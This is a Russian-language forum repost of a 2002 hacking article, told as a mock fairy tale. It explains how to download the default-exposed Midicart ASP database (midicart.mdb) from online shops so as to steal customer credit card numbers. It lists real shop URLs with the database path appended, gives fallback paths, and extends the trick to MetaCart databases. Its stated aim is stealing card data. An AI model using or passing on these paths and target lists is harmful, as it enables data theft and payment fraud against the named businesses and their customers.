|
Нашел совсем старую свою статью, опубликованную на hack-info.ru 18.10.02. Может кому-то в качестве самообразования и пригодиться;-). Пару раз встречал ее в инете, практически без изменений, но под другими никами.
Абыдно, да:-(.
Здравствуйте мои маленькие друзья. Сегодня дедушка Durito расскажет вам сказочку о том, как получить доступ к базам данных Midicart ASP и т.п. А как вы наверное знаете, в базах данных храниться много чего вкусьненького, особенно конфетки сс, которые мы так все любим.
И так начнем. В неком Царстве, в неком государстве прошел слух, что в системе Midicart ASP (а это система электронной коммерции от Coxco Support для Microsoft Windows) в установке по умолчанию задаются неправильные разрешения на файл midicart.mdb.
В этом файле хранится чувствительная информация, типа номеров кредитных карточек и другой опознавательной информации. И дескать каждый сообразительный мальчик может забрать ее оттуда такой командой http://www.xxxxxxx.com/shoppingdirectory/midicart.mdb
Узнав об этом смелый герой тут же бежит на www.yahoo.com или куда еще и набирает Midicart ASP и получаем списочек волшебных мест, а выглядят они примерно так:
http://web.pincom.net/midicart/
http://www.dannermfg.com/midicart_asp/shop/default.asp
http://www.print-it.nu/butik/main.asp
http://www.kabelshop.dk/top.asp
http://www.gmusik.dk/shop/
http://www.bursdagbutikken.no/meny.asp
http://www.computerfolks.net/cart/middle_right.asp
А дальше сказочный герой берет магическое слово midicart.mdb, и подставляет его
http://web.pincom.net/midicart/midicart.mdb
http://www.dannermfg.com/midicart_asp/shop/midicart.mdb
http://www.print-it.nu/butik/midicart.mdb
http://www.kabelshop.dk/midicart.mdb
http://www.gmusik.dk/shop/midicart.mdb
http://www.bursdagbutikken.no/midicart.mdb
http://www.computerfolks.net/cart/midicart.mdb
Ежели что-то не работает например в адресе
http://www.dannermfg.com/midicart_asp/shop/default.asp, тогда подставляй волшебное midicart.mdb, вот так:
http://www.dannermfg.com/midicart_asp/midicart.mdb
http://www.dannermfg.com/midicart.mdb
А ежели ты скачал, да ничего не нашел (сс например), так это все проделки черных админов, пробуй еще...И да прибудет с тобой сила!
Вот и сказке конец, а кто понял молодец.
P.S. Можешь кстати применить свои новые волшебные способности на систему MetaCart2.sql
http://xxxshop/database/metacart.mdb
http://xxxshop/metacart/database/metacart.mdb
и на некоторые другие;-)
Твой bug Durito.
_________________
EAT THE RICH!
|
